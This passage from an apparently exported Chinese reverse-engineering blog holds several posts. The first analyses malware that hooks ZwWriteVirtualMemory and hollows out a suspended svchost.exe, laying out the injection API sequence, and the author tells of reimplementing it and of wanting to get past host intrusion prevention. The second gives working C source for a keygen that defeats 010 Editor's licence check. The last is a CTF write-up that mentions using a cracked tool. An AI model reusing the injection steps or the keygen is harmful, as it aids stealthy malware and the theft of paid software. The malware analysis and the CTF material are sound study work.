pl zr na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246ntdll!RtlDebugFreeHeap+0x82:7c98d811 0fb707 movzx eax,word ptr [edi] ds:0023:84493bb1=????0:000> gBreakpoint 0 hiteax=00960000 ebx=000009c6 ecx=0012f0b0 edx=7c92e4f4 esi=7c92df90 edi=0012f56ceip=7c81a634 esp=0012f0bc ebp=0012f3ac iopl=0 nv up ei pl zr na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246kernel32!BasePushProcessParameters+0x27f:7c81a634 ffd6 call esi {ntdll!ZwWriteVirtualMemory (7c92df90)} 确认一下ZwWriteVirtualMemory被hook1234567890:000> u 7c92df90ntdll!ZwWriteVirtualMemory:*** WARNING: Unable to verify checksum for image00400000*** ERROR: Module load completed but symbols could not be loaded for image004000007c92df90 e9c44aad83 jmp image00400000+0x2a59 (00402a59)7c92df95 ba0003fe7f mov edx,offset SharedUserData!SystemCallStub (7ffe0300)7c92df9a ff12 call dword ptr [edx]7c92df9c c21400 ret 14h7c92df9f 90 nop 想着就在这把文件dump出来,在ida中看方便点,然后再od中下断,为了怕跑飞,也对CreateProcessA下断了,然后运行,现在CreateProcessA中断下来,回溯了一下,看着堆栈栈帧很少,就尝试看能够脱壳不很笨的下断回溯了两次,到了00402C5B ,一点都不想c入口,但是上次没有,调用地址是0012FFC4 7C817067 返回到 kernel32.7C817067也不像是壳进行了入口的patch,将就吧,dump出来,importrect修复了一下,嘿,在ida中一看,还不错,入口代码这样的:123456700402C5B 68 00040000 push 0x40000402C60 68 D0DF4000 push DesktopL.0040DFD000402C65 E8 AEEAFFFF call DesktopL.0040171800402C6A 83F8 01 cmp eax,0x100402C6D 75 70 jnz short DesktopL.00402CDF00402C6F 68 00404000 push DesktopL.00404000 ; ASCII "KyUffThOkYwRRtgPP"00402C74 E8 66EAFFFF call DesktopL.004016DF 马上定位到image00400000+0x2a59,修复的还不错,这下子方便多了,可以直接f5,但是不能正常执行123456789101112131415161718192021222324252627282930__int64 __stdcall myHookZwWriteVirtualMemory(HANDLE hProcess, int a2, int a3, int a4, int a5) { LODWORD(v5) = mySysZwWriteVirtualMemory(hProcess, a2, a3, a4, a5, NumberOfBytesWritten, flOldProtect, v12);// 调用原函数 NumberOfBytesWritten = (SIZE_T)&v12;v9 = v5;if ( hProcess != (HANDLE)-1 ){if ( !myInjectFlag ){if ( !lpAddress ) // 初始化为0{EOP = (void *)myGetEOP(hProcess); // 获取到宿主进程EOPif ( EOP ){myInjectFlag = 1;lpAddress = EOP;dword_40DFA8 = myInjectMyExe(hProcess, (int)"MZ, 0x9800u);dword_40DFAD = v7;if ( dword_40DFA8 ){VirtualProtectEx(hProcess, lpAddress, 0xCu, 0x40u, &flOldProtect);WriteProcessMemory(hProcess, lpAddress, &byte_40DFA7, 0xCu, &NumberOfBytesWritten); //入口感染VirtualProtectEx(hProcess, lpAddress, 0xCu, flOldProtect, &flOldProtect);}}}}}return v9;} 在钩子函数中,工作很少,获取到宿主进程EOP,在宿主进程中加载自己的程序,然后对EOP进行感染,也就是跳转到自己的程序代码空间代码基本就这么多了,最后怎么玩就靠自己的代码了。 3. 技术总结其实和另一个中注入方式大同小异,目标都是为了将自己的程序映射到宿主进程空间中。一个直接暴力suspend,读写,另一个在创建进程过程中进行读写。由于两种方式都有远程进程读写操作,都应该会被主防拦住,貌似现在效果也不是很好了是否可以再读写内存时,对主防进行欺骗呢,还需要研究….","tags":[{"name":"reverse","slug":"reverse","permalink":"https://anhkgg.github.io/tags/reverse/"},{"name":"inject process","slug":"inject-process","permalink":"https://anhkgg.github.io/tags/inject-process/"}]},{"title":"inject process analyze and code","date":"2014-11-25T09:45:00.000Z","path":"inject-process-analyze-and-code/","text":"1. 起因某次卡饭hips浏览中,看到某高大上进程注入方式(主要是某人头发长),惊为天人,技术堪称猥琐之王(抬高了?),额。。。不捧了。由于没有样本,也没有搜索到资料,只能作罢。某天,突然来了兴致,要分析个样本,随便在卡饭样本区下了个感觉挺啥啥的样本,一分析,你妹,咋这么熟悉呢,居然就是同类的进程注入,然后某人就有了下面的文章。 2. 分析与实现2.1 PEID壳信息:Microsoft Visual C++ v6.0,无壳文件名:bbs.exe既然无壳,直接ida先分析一下,遇到无法分析的OD继续调试。 2.2 分析打开IDA,拖入文件,找到主函数:123456789101112131415.text:0040A720 ; int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd).text:0040A720.text:0040A720 push ebp.text:0040A721 mov ebp, esp.text:0040A723 push ecx.text:0040A724 call sub_408BE0.text:0040A729 mov esp_4FEE68, esp.text:0040A72F mov esp_4FEE6C, ebp.text:0040A735 call sub_408929//主功能函数.text:0040A73A mov [ebp+var_4], eax.text:0040A73D mov eax, [ebp+var_4].text:0040A740 mov esp, ebp.text:0040A742 pop ebp.text:0040A743 retn 10h.text:0040A743 _WinMain@16 endp 没什么东西,继续sub_408929:12345678910111213141516171819202122.text:00408929 sub_408929 proc near ; CODE XREF: WinMain(x,x,x,x)+15.text:00408929 cld.text:0040892A fninit.text:0040892C call myNewObj.text:00408931 push offset sub_406C2A.text:00408936 mov eax, 3.text:0040893B call myInitFunc.text:00408940 add esp, 4.text:00408943 call sub_40101D//这几个都是些无用函数,多半是花指令.text:00408948 call sub_406B84.text:0040894D call sub_406BDB.text:00408952 call sub_401000.text:00408957 call sub_406BBE.text:0040895C call sub_406BA1.text:00408961 call sub_406BF8.text:00408966 call myReleaseFile//文件释放,可能是功能文件.text:0040896B push eax ; uExitCode.text:0040896C call nullsub_1.text:00408971 call j_myExit.text:00408976 add esp, 4.text:00408979 retn.text:00408979 sub_408929 endp 其他函数都没有什么重要的代码,接着看看myReleaseFile,代码太多,直接f5看看整体流程,结构:123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051int __cdecl myReleaseFile(){ lpMem = "QzpcUHJvZ3JhbSBGaWxlc1xDb21tb24gRmlsZXNcTWljcm9zb2Z0IFNoYXJlZFxNU0luZm9ca2trLnR4dA==";// C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\kkk.txt v12 = (void *)myBase64Dec(&lpMem); if ( lpMem ) j_myIsInMyImg(lpMem); v1 = (int)v12; if ( !v12 ) v1 = (int)dword_416285; pszPath = (LPCSTR)myFormat(ebp0, 1, (unsigned int)v1, 0x80000005u);// C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\kkk.txt v2 = (int)v12; if ( v12 ) j_myIsInMyImg(v12); v10 = (int *)&v6; v3 = PathFileExistsA(pszPath); if ( (void **)v10 != &v6 ) v3 = myRunError(v2, 6); v9 = v3; if ( pszPath ) j_myIsInMyImg((void *)pszPath); if ( v9 == 1 ) { lpMem = "我是一个中国人";//恩,很爱国 v12 = "34,85,10,1D,04,D1,CF,42,DF,A4,B0,"; pszPath = (LPCSTR)myDecStr(&v12, &lpMem); // 字符串解密,"svchost.exe" if ( v12 ) j_myIsInMyImg(v12); if ( lpMem ) j_myIsInMyImg(lpMem); v4 = j_myNewBuf(ebp0, 0x10u); v10 = (int *)v4; *(_DWORD *)v4 = 0; *((_DWORD *)v4 + 1) = 0; *((_DWORD *)v4 + 2) = 0; *((_DWORD *)v4 + 3) = 0; v9 = 0; v8 = 0; v7 = 0; v6 = &unk_4162BE; myWork(&v6, &v7, 0, &pszPath, 1, 0, 0, 0, 0, &v10, 0);//注入进程的功能,代码中很多混淆 if ( v6 ) j_myIsInMyImg(v6); if ( v7 ) j_myIsInMyImg(v7); if ( pszPath ) j_myIsInMyImg((void *)pszPath); j_myIsInMyImg(v10); sub_40574F(); } return 0;} 由于在myWork中太多混淆,IDA无力,转战OD,看到高大上的进程注入。由于代码混淆,太多PE操作,而且IDA没有有效识别内存拷贝函数,给分析带来了较大困难。下面是主要的进程注入用到的函数表,myWork中调用这些关键函数,都是通过该函数表调用,里面通过loaddll+getprocaddress获取到函数地址,返回,然后调用:12345678910111213141516171819202122232425.data:004FB87F myLocalSize1 dd offset myLocalSize ; DATA XREF: .text:00402CAC r.data:004FB883 myRtlMoveMemory1 dd offset myRtlMoveMemory ; DATA XREF: .text:00402F32 r.data:004FB887 myLocalSize2 dd offset sub_4089DC ; DATA XREF: .text:00403303 r.data:004FB88B myRtlMoveMemory2 dd offset sub_4089F2 ; DATA XREF: .text:00403701 r.data:004FB88F myLocalSize3 dd offset sub_408A08 ; DATA XREF: .text:00403A06 r.data:004FB893 myCreateProcessA dd offset sub_408A1E ; DATA XREF: .text:00403DEE r.data:004FB897 myGetThreadContext dd offset sub_408A34 ; DATA XREF: sub_403FC0+C8 r.data:004FB89B myReadProcessMemory dd offset sub_408A4A ; DATA XREF: sub_403FC0+2E9 r.data:004FB89F myZwUnmapViewOfSection dd offset sub_408A60 ; DATA XREF: sub_403FC0+335 r.data:004FB8A3 myVirtualAllocEx dd offset sub_408A76 ; DATA XREF: sub_403FC0+3AC r.data:004FB8A7 myWriteProcessMemory dd offset sub_408A8C ; DATA XREF: sub_403FC0+43F r.data:004FB8AB myLocalSize5 dd offset sub_408AA2 ; DATA XREF: sub_403FC0+9A7 r.data:004FB8AF myRtlMoveMemory_0 dd offset sub_408AB8 ; DATA XREF: sub_403FC0+B0E r.data:004FB8B3 myVirtualProtectEx dd offset sub_408ACE ; DATA XREF: sub_403FC0+D60 r.data:004FB8B7 myWriteProcessMemory_0 dd offset sub_408AE4 ; DATA XREF: sub_403FC0+DD2 r.data:004FB8BB mySetThreadContext dd offset sub_408AFA ; DATA XREF: sub_403FC0+FA8 r.data:004FB8BF myResumeThread dd offset sub_408B10 ; DATA XREF: sub_403FC0+1172 r.data:004FB8C3 myWaitForSingleObject dd offset sub_408B26 ; DATA XREF: sub_403FC0+11AD r.data:004FB8C7 myCloseHandle_ dd offset sub_408B3C ; DATA XREF: sub_403FC0+11E6 r.data:004FB8CB myGetEnvironmentVariableA dd offset sub_408B52.data:004FB8CF myTerminateProcess dd offset sub_408B68 ; DATA XREF: sub_4053DE+1E r.data:004FB8D3 myReadFileEx dd offset sub_408B7E ; DATA XREF: sub_405FAA+1E2 r.data:004FB8D7 myGetFileSize dd offset sub_408B94 ; DATA XREF: sub_4063B0+DF r.data:004FB8DB myCloseHandle dd offset sub_408BAA ; DATA XREF: sub_4064C4+1D r.data:004FB8DF myLocalFree dd offset sub_408BC0 ; DATA XREF: sub_4065D9+541 r 获取函数的代码结构:12345678.text:004089B0 myLocalSize proc near ; CODE XREF: .text:00402CAC p.text:004089B0 ; DATA XREF: .data:myLocalSize1 o.text:004089B0 push offset myLocalSize1 ; int.text:004089B5 push offset aLocalsize ; "LocalSize".text:004089BA push offset aKernel32 ; "kernel32".text:004089BF call myGetProc.text:004089C4 jmp eax.text:004089C4 myLocalSize endp 最后基本总结了myWork的代码逻辑,也一窥了进程注入的猥琐:1234567891011121314151617CreateProcessA(0, "svchost.exe", 0, 0, 0, 4/*CREATE_SUSPENDED*/, 0, 0, &sa, &pi );//按suspend创建进程,这样主线程就会挂起,等待后面的宰割GetThreadContext(pi.hThread, &context);ReadProcessMemory(pi.hProcess, 0x7ffde008/*peb->ImageBaseAddress*/, buf, 4, &size); /*获取到的是img基地址 peb->ImageBaseAddress*/ZwUnmapViewOfSection(pi.hProcess, buf);//这里有个bug,buf传递方式错误,导致无法unmap,应该是&bufVirtualAllocEx(pi.hProcess, 0x400000, size, MEM_COMMIT|MEM_RESERVE/*0x3000*/, PAGE_READWRITE/**4/ );//解析PE文件,写入进程对应位置WriteProcessMemory(pi.hProcess, 0x400000, buf, 0x1000, &size);//写入头部for(i =0 ;i<num_of_sec; i++){ WriteProcessMemory(pi.hProcess, 0x400000+sec[i].va, buf, sec[i].size, &size);//.text, .rdata, .data VirtualProtectEx(pi.hProcess, 0x400000+sec[i].va, sec[i].size, NewProtect, &oldProtect);//PAGE_EXECUTE_READ, PAGE_READONLY, PAGE_READWRITE}//重写eop//重写基地址WriteProcessMemory(pi.hProcess, 0x7ffde008/*peb->ImageBaseAddress*/, MyBaseAddr, 4, &size);//写入我的img 基地址 0x400000SetThreadContext(pi.hProcess, context);//恢复ResumeThread(pi.hThread);//恢复线程执行 3. 总结本来打算完整分析一下的,在分析到进程注入时,由于自己代码实现中,遇到了一些问题,调试无语,eop和基地址都改写了,那么就是映射section遇到问题,终于修改成直接pe完整写入宿主进程,成功执行了注入进程的功能。所以,后面也没时间具体分析样本的功能了。测试了该方式,无法过掉主防,在WriteProcessMemory就会被拦截,所以该方式基本只是作为技术研究,直接使用,还需努力。 4. 参考[1] http://www.cnblogs.com/lbq1221119/archive/2008/07/22/1248706.html[2] http://blog.csdn.net/darthas/article/details/12569443","tags":[{"name":"reverse","slug":"reverse","permalink":"https://anhkgg.github.io/tags/reverse/"},{"name":"inject process","slug":"inject-process","permalink":"https://anhkgg.github.io/tags/inject-process/"}]},{"title":"010注册算法分析","date":"2014-11-17T02:13:19.000Z","path":"010注册算法分析/","text":"1. 关键函数定位进入register窗口,随便填入name,然后check license,弹框信息”Invalid name or password. Please enter your name and password exactly as given when you purchased 010 Editor (make sure no quotes are included).”,通过该信息在IDA中找到对应函数地址,基本可以确认是关键函数位置,函数居然有名字,这是作者故意留下的吗。下面是整个验证函数流程: 1234567891011121314151617181920212223242526272829void __usercall chekc(char a1<zf>, int a2<ecx>){ //获取用户名 //是否为空 //获取注册码 //是否为空 //注册码格式检查xxxx-xxxx-xxxx-xxxx-xxxx v42 = (void *)myCheck(mygbName, 3u, '9A'); //注册码验证,返回值v42对于是否注册成功,有很大关系,返回值为231,为失败 v26 = mySecondCheck(mygbName, 3u, '9A'); // 第二次检查,如果返回中为219,就会进入后面的注册成功提示 //myCheck中返回不等于231,mygbName + 44提示进入网络验证,没有弄清楚,哪里会等于1 if ( v42 != (void *)231 && *(_DWORD *)(mygbName + 44) ) { v27 = myWebCheck((void *)mygbName, 0); if(v27 < 0 ) { v43 = myMsg("Could not contact the webserver. Please check your internet connection. If your internet connection is currently working, the server may be down. If this problem persists, please visit 'http://www.sweetscape.com/support/' (", 0xFFFFFFFFu); } if ( !v27 ) { v43 = myMsg( "010 Editor has detected that you have entered an invalid license. Please check to see if your license is entered correctly and try again. If this problem persists, please visit 'http://www.sweetscape.com/support/'.", 0xFFFFFFFFu); } v33 = mySecondCheck(mygbName, 3u, '9A');//网络验证是否成功,成功,返回219 } if ( v43 == (void *)219 ) // v43 == 219,注册成功 { v43 = myMsg("Password accepted. Thank you for purchasing 010 Editor!", 0xFFFFFFFFu); //写入注册表 }} 2. 算法分析下面看看主要的验证函数myCheck和mySecondCheck,代码如下:1234567891011121314151617signed int __thiscall mySecondCheck(int this, unsigned int a2, unsigned int a3){ int v3; // esi@1 signed int result; // eax@2 int v5; // eax@3 int v6; // eax@6 int v7; // eax@9 v3 = this; if ( *(_DWORD *)(this + 44) ) // 要让这个值等于0,否则进入网络验证,初始化就是0 return 275; v5 = myCheck(this, a2, a3); //可以看到,只有返回值是45时,才能返回219,注册成功 if ( v5 == 45 ) { result = 219; // 返回219, 注册成功 }} 可以看到,只有返回值是45时,才能返回219,注册成功。那么返回myCheck看看,怎么才能得到45的返回值,整个返回值查看一下,只有两处位置,可能返回45,如下:1234567891011121314if ( v26 == 0x9Cu ){ v20 = *(_DWORD *)(regdlg + 28) < a2; return (-v20 & 0x21) + 45; // 成功?}if ( v26 != 0xFCu ){ if ( v26 == 0xACu && v33 ) { v20 = v33 < a3; return (-v20 & 0x21) + 45; // 成功? }return 231;} 那么就需要回溯回去,看看v26,是如何得到的,只有在v26等于0x9c或者0xAc时,才有可能注册成功。下面看看完整代码:1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374int __thiscall myCheck(int this, unsigned int a2, unsigned int a3){ //name和key长度是否为0 //myPassCheck(this, (int)&v23);//将key字符串转换成数值,每两个字符转化成2为十六进制数, //xxxx-xxxx-xxxx-xxxx-xxxx分别对应k1k2-k3k4-k5k6-k7k8-k9k10 //v23其实就是一个数组,存的就是k1-k10 //检测name是否等于'999',是,则失败 if ( v26 == 0x9Cu ) { LOBYTE(v32) = v23 ^ v28; // k1^k7 LOWORD(v6) = (unsigned __int8)(v24 ^ v29); // k2^k8 LOWORD(v7) = (unsigned __int8)(v25 ^ HIBYTE(v27));// k3^k6 v11 = v7 + ((_DWORD)v6 << 8); // v11 = k3^k6 + ((k2^k8)<<8) *(_DWORD *)(regdlg + 28) = (unsigned __int8)myCal1(v23 ^ v28);// k1^k7 => 不能等于0 v9 = myCal2(v11); // 不能等于0 v10 = *(_DWORD *)(regdlg + 28); *(_DWORD *)(regdlg + 32) = (unsigned __int16)v9; // v10==0,v9==0或者v9>0x3e8,返回231 if ( !v10 || !v9 || (unsigned __int16)v9 > 0x3E8u ) return 231; v12 = v10 < 2 ? v10 : 0; // v12 = 0或者1 }else { if(v26 == 0xFC) {//不可能成功 }esle { //v26不等于0xAC,退出,返回231,失败 //myCal2(k3^k6 + ((k2^k8)<<8)) > 0x3E8, 失败 if ( v26 != 0xACu || (v15 = v24 ^ v29,//k2^k8 v16 = v25 ^ HIBYTE(v27),//k3^k6 *(_DWORD *)(regdlg + 28) = 2, v14 = (unsigned __int16)myCal2(v16 + (v15 << 8)),v11 = k3^k6 + ((k2^k8)<<8) *(_DWORD *)(regdlg + 32) = (unsigned __int16)v14, !(_WORD)v14) || v14 > 0x3E8 ) return 231; //sub_4FD0B9( (k1^k7 + (k9^k5 + (k6^k10)<<8)<<8), xxx); //其实就是凑成十六进制数(k6^k10)(k9^k5)(k1^k7) v17 = sub_4FD0B9( (v23 ^ v28) + (((v30 ^ (unsigned __int8)v27) + ((HIBYTE(v27) ^ v31) << 8)) << 8), (char *)loc_5B8C25 + 2); v33 = v17; *(_DWORD *)(regdlg + 52) = v17; v12 = v17; } } //编码name,返回给v18, v18 = myEncStr(*(const char **)(*(_DWORD *)qstrname + 12), v26 != -4, v12, *(_DWORD *)(regdlg + 32)); //如果v18,如0xABCDEF10分解成0xAB,0xCD, 0xEF10,不等于v29, v28,v27就失败,其实就是 //(k6k5) = 0xEF10, k7 = 0xCD, k8 = 0xAB if ( v27 != (_WORD)v18 || v28 != (unsigned __int8)((unsigned int)v18 >> 0x10u) || v29 != (unsigned __int8)((unsigned int)v18 >> 0x18u) ) return 231; // 这三个条件很重要啊 //下面就接近成功了,就是上面提到的返回45的结果,成功 if ( v26 == 0x9Cu ) { //这里就需要regdlg + 28 = myCal1(k1^k7) >= a2,也就是3,传入的a2是3 //然后v20就是0,那么(-v20 & 0x21)=0,最后返回45 v20 = *(_DWORD *)(regdlg + 28) < a2; return (-v20 & 0x21) + 45; // 成功? } if ( v26 != 0xFCu ) { if ( v26 == 0xACu && v33 ) { v20 = v33 < a3; return (-v20 & 0x21) + 45; // 成功? } return 231; }} 最后总结一下算法,基本可以列出一个方程类似的东西:123456k4 = 0x9C或者0xACmyCal1(k1^k7) >= 3;//可以任取大于等于3的值,算出k1^k7=?myCal2(k3^k6 + ((k2^k8)<<8)) > 0;//可以任去大于0myCal2(k3^k6 + ((k2^k8)<<8)) < 0x3E8;//小于0x3E8的某一个值,算出k3^k6 + ((k2^k8)<<8) = ?k8k7k6k5 = v18;//0xABCDEF10,可以得到k5=?,k6=?,k7=?,k8=?,由此可以算出上面的k1,k2sub_4FD0B9((k6^k10)(k9^k5)(k1^k7), xx) = ?//可以算出k9,k10 下面就0x9C的情况写了个注册机 3. 注册机根据上面的注册算法,写了个针对0x9c的注册机:123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778DWORD ckname(char* name, int isnotFC, int islowk1k7, DWORD k3k6k2k8 ){ int slen = strlen(name); if(slen > 0 ) { DWORD v15 = 0, v17 = 0, v16 = 0, chk = 0, v9 = 0, v8=0, v14 = 0, v5 = 0, v6 = 0; while(v14 < slen) { DWORD v7 = toupper(name[v14]); if(isnotFC) { v9 = dword_B21DC4[(v17 + 15 * k3k6k2k8) & 0xFF] + dword_B21DC4[(v6 + 17 * islowk1k7) & 0xFF] + dword_B21DC4[(v7 + 47) & 0xFF] * ((v5 + dword_B21DC4[v7]) ^ dword_B21DC4[(v7 + 13) & 0xFF]); v8 = v16; } else{ v9 = dword_B21DC4[(v17 + 15 * k3k6k2k8) & 0xFF] + dword_B21DC4[(v6 + 17 * islowk1k7) & 0xFF] + dword_B21DC4[(v7 + 23) & 0xFF] * ((v5 + dword_B21DC4[v7]) ^ dword_B21DC4[(v7 + 63) & 0xFF]); v8 = v15; } v16 += 19; v17 += 13; v15 += 7; v6 += 9; v5 = dword_B21DC4[v8] + v9; v14 = v14 + 1; } return v5; }}int main(){ char name[] = ""; char key[0x20] = {0}; int k4 = 0x9c;//0xac int islowk1k7 = 3;//>=3 int k1_xor_k7 = ((islowk1k7^0xA7)-61)^0x18; int k3k6k2k8 = 1;//k3k6k2k8>=1 && k3k6k2k8<0x3E8,其中任意一个值 int k3_xor_k6_k2_xor_k8 = 0xFFFF & (((k3k6k2k8*11)^0x3421)-19760); k3_xor_k6_k2_xor_k8 = k3_xor_k6_k2_xor_k8^0x7892; int k3_xor_k6 = k3_xor_k6_k2_xor_k8 & 0xff;//低位 int k2_xor_k8 = k3_xor_k6_k2_xor_k8 >> 8;//高位 int k1=0, k2=0, k3=0, k5=0, k6=0, k7=0, k8=0, k9=0, k10=0;// printf("****************************************************\\n"); printf("************* 010 Editor v3.1.2 keygen *************\\n"); printf("************* by anhkgg 2014-11-18 *************\\n"); printf("****************************************************\\n\\n"); printf("name>"); scanf("%s", name); if(!stricmp(name, "999")) { printf("name is not valid!\\n"); system("pause"); return 0; } DWORD name_chk = ckname(name, k4==0x9C?1:0, islowk1k7<2?islowk1k7:0, k3k6k2k8) ; k5 = name_chk & 0xFF; k6 = (name_chk & 0xFFFF)>>8;// k7 = (name_chk >> 16) & 0xFF;// k8 = (name_chk >> 24) & 0xFF;// k1 = k1_xor_k7 ^ k7;// k2 = k2_xor_k8 ^ k8; k3 = k3_xor_k6 ^ k6;// printf("key>%02x%02x-%02x%02x-%02x%02x-%02x%02x\\n\\n", k1, k2, k3, k4, k5, k6, k7, k8); system("pause"); return 0;} 4. 其他 本次分析针对的是010 v3.1.2 希望各位大牛不要见笑,欢迎交流 网站:anhkgg.gitcafe.com, www.devilstep.com 转载请注明出处:anhkgg.gitcafe.com/010%E6%B3%A8%E5%86%8C%E7%AE%97%E6%B3%95%E5%88%86%E6%9E%90/ 更新:最新版v5.0.2,分析之后,算法流程基本没有变化,只需要myCal1(k1^k7)条件更新一下就行!","tags":[{"name":"010editor","slug":"010editor","permalink":"https://anhkgg.github.io/tags/010editor/"}]},{"title":"hctf writeup","date":"2014-11-10T01:08:58.000Z","path":"hctf-writeup/","text":"1. 丘比龙的最爱传说,丘比龙是丘比特的弟弟,丘比龙是一只小爱神,虽然有两只翅膀,但因为吃多了,导致身体太胖,所以飞不起来~那么问题来了?!丘比龙吃什么食物吃多了变胖了百度之:甜甜圈 1. nvshen猫流大大发现一个女神,你能告诉我女神的名字么(名字即是flag) http://107.189.158.112/0aab9b20410fdd880c53922048023266/nvshen.zip打开大量数据,感觉是base64,解密了前一部分数据看到PNG, IHDR字符,应该就是png图片了,然后python写了段脚本:12345678910111213import base64f1 = open("nvshen.txt", "r")f2 = open("nvshen.png", "wb")while 1: buf = f1.read(12) if not buf: break; #print buf, base64.decodestring(buf) f2.write(base64.decodestring(buf)) f1.close()f2.close() 得到一张女神照片,纠结了会,google图片之,找到女神名字“爱新觉罗·启星”,被中间的点坑了几次,然后flag是“爱新觉罗启星”, 出题人原来喜欢她啊 3. babyCrack107.189.158.112/d55757a7ccf958399789e18e1d8199de/babyCrack.zipPEID查了下,是.net,马上祭出神奇.net reflector, 结果工具过期,重新下了个注册机,搞定,几个函数,翻了下,看到flag:hctf{bAByCtsvlmE!}123456789101112131415private void button1_Click(object sender, EventArgs e){ bool flag = false; Config.user = this.textBox1.Text; string user = Config.user; string str2 = "hctf{bABy_CtsvlmE_!}"; if (str2.CompareTo(user) == 0) { flag = true; } if (flag) { MessageBox.Show("good !!!"); }} 4. stego_final图片隐写题,Stegsolve各种通道翻了一下,看到张二维码,用手机一扫,识别不了,背影有些黑点,又不会图片处理,ps一番,终于找到flag:flag{hctf_3xF$235#^3} 5. wzwzDingDing被坑的最惨的一道题,是个64位驱动,代码真不多,只有30多个函数,翻了一个遍,流程分析清楚,最后有个字符串提示 “OK!YOU ARE REALLY GOOD!Also, there is a } left!”就是说代码执行到这,应该会得到flag,然后这个是在IRP_MJ_DEVICE_CONTROL函数中,函数对应多个ctl code,分别是:0x88102004,0x88102008, 0x8810200C, 0x88102014, 0x88102010,以及都不是前面的一个ctl code,每个ctl code对应分支都会对偏移0x48E0的一个标志进行操作,最后得到0xFFFFFF,执行提示字符串的分支。下面是触发的ring3代码:1234567891011121314151617181920212223242526272829303132333435363738394041424344HANDLE hDev = CreateFileA(DRV_SYM, GENERIC_ALL, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);if(hDev == INVALID_HANDLE_VALUE){ printf("[-] open dev error %d\\n", GetLastError()); return 0;}printf("[+] open dev success!\\n");char buf[20] = "^lejAJ]O";DWORD dwReturn = 0;if(! DeviceIoControl(hDev, 0x88102004, buf, strlen(buf), buf, strlen(buf), &dwReturn, NULL)){ printf("[-] dev control error %d\\n", GetLastError()); return 0;}char buf1[20] = "MNIII";if(! DeviceIoControl(hDev, 0x88102004, buf1, strlen(buf1), buf1, strlen(buf1), &dwReturn, NULL)){ printf("[-] dev control error %d\\n", GetLastError()); return 0;}if(! DeviceIoControl(hDev, 0x88102008, NULL, 0, NULL, 0, &dwReturn, NULL)){ printf("[-] dev control error %d\\n", GetLastError()); return 0;}//8810200Cif(! DeviceIoControl(hDev, 0x8810200C, NULL, 0, NULL, 0, &dwReturn, NULL)){ printf("[-] dev control error %d\\n", GetLastError()); return 0;} if(! DeviceIoControl(hDev, 0x88102014, NULL, 0, NULL, 0, &dwReturn, NULL)){ printf("[-] dev control error %d\\n", GetLastError()); return 0;} //88102010if(! DeviceIoControl(hDev, 0x88102010, NULL, 0, NULL, 0, &dwReturn, NULL)){ printf("[-] dev control error %d\\n", GetLastError()); return 0;} 最后就进入了提示字符分支,结果在这里 text:0000000000012361 call [rsp+0C8h+ShellCode],就崩了,被坑了好久,这里需要结合题目提示flag: HCTF{‘intput’.encode(‘hex’)}就是需要修复那段shellcode,让其正确执行,然后顺利执行到提示字符串位置,分支中还有代码提示需要修复的代码字节位置,然后就是根据一个堆栈平衡就能修复(开始明显看不懂题意啊,坑)修复前代码: 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152fffff880`02f85d90 l5bwzwzDingDing+0x2d90:fffff880`02f85d90 (10) 5152 adc byte ptr [rcx+52h],dl =>(50 //push rax push rcxfffff880`02f85d93 53 push rbxfffff880`02f85d94 55 push rbpfffff880`02f85d95 56 push rsifffff880`02f85d96 57 push rdifffff880`02f85d97 (90) nopfffff880`02f85d98 (90) nop//push r8 (41 50fffff880`02f85d99 4151 push r9fffff880`02f85d9b 4152 push r10fffff880`02f85d9d 4153 push r11fffff880`02f85d9f 4154 push r12fffff880`02f85da1 4155 push r13fffff880`02f85da3 4156 push r14fffff880`02f85da5 4157 push r15fffff880`02f85da7 90 nopfffff880`02f85da8 (90) nop//(48 83 EC 28 sub rsp,28hfffff880`02f85da9 (90 nopfffff880`02f85daa (90 nopfffff880`02f85dab (90 nopfffff880`02f85dac 90 nopfffff880`02f85dad 48c7c600000000 mov rsi,0fffff880`02f85db4 488b040e mov rax,qword ptr [rsi+rcx]fffff880`02f85db8 4883f007 xor rax,7fffff880`02f85dbc 4889040e mov qword ptr [rsi+rcx],raxfffff880`02f85dc0 90 nopfffff880`02f85dc1 90 nopfffff880`02f85dc2 90 nopfffff880`02f85dc3 90 nopfffff880`02f85dc4 48ffc6 inc rsifffff880`02f85dc7 4883fe0b cmp rsi,0Bhfffff880`02f85dcb 74e0 je wzwzDingDing+0x2dad (fffff880`02f85dad)fffff880`02f85dcd 90 nopfffff880`02f85dce 4883c428 add rsp,28hfffff880`02f85dd2 415f pop r15fffff880`02f85dd4 415e pop r14fffff880`02f85dd6 415d pop r13fffff880`02f85dd8 415c pop r12fffff880`02f85dda 415b pop r11fffff880`02f85ddc 415a pop r10fffff880`02f85dde 4159 pop r9fffff880`02f85de0 4158 pop r8fffff880`02f85de2 5f pop rdifffff880`02f85de3 5e pop rsifffff880`02f85de4 5d pop rbpfffff880`02f85de5 5b pop rbxfffff880`02f85de6 5a pop rdxfffff880`02f85de7 (90) nop //59 pop rcx fffff880`02f85de8 58 pop raxfffff880`02f85de9 (90) nop//ret C3fffff880`02f85dea 00cc add ah,cl 修复后代码:1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950kd> u fffff880`02f85d90 l5bwzwzDingDing+0x2d90:fffff880`02f85d90 50 push raxfffff880`02f85d91 51 push rcxfffff880`02f85d92 52 push rdxfffff880`02f85d93 53 push rbxfffff880`02f85d94 55 push rbpfffff880`02f85d95 56 push rsifffff880`02f85d96 57 push rdifffff880`02f85d97 4150 push r8fffff880`02f85d99 4151 push r9fffff880`02f85d9b 4152 push r10fffff880`02f85d9d 4153 push r11fffff880`02f85d9f 4154 push r12fffff880`02f85da1 4155 push r13fffff880`02f85da3 4156 push r14fffff880`02f85da5 4157 push r15fffff880`02f85da7 90 nopfffff880`02f85da8 4883ec28 sub rsp,28hfffff880`02f85dac 90 nopfffff880`02f85dad 48c7c600000000 mov rsi,0fffff880`02f85db4 488b040e mov rax,qword ptr [rsi+rcx]fffff880`02f85db8 4883f007 xor 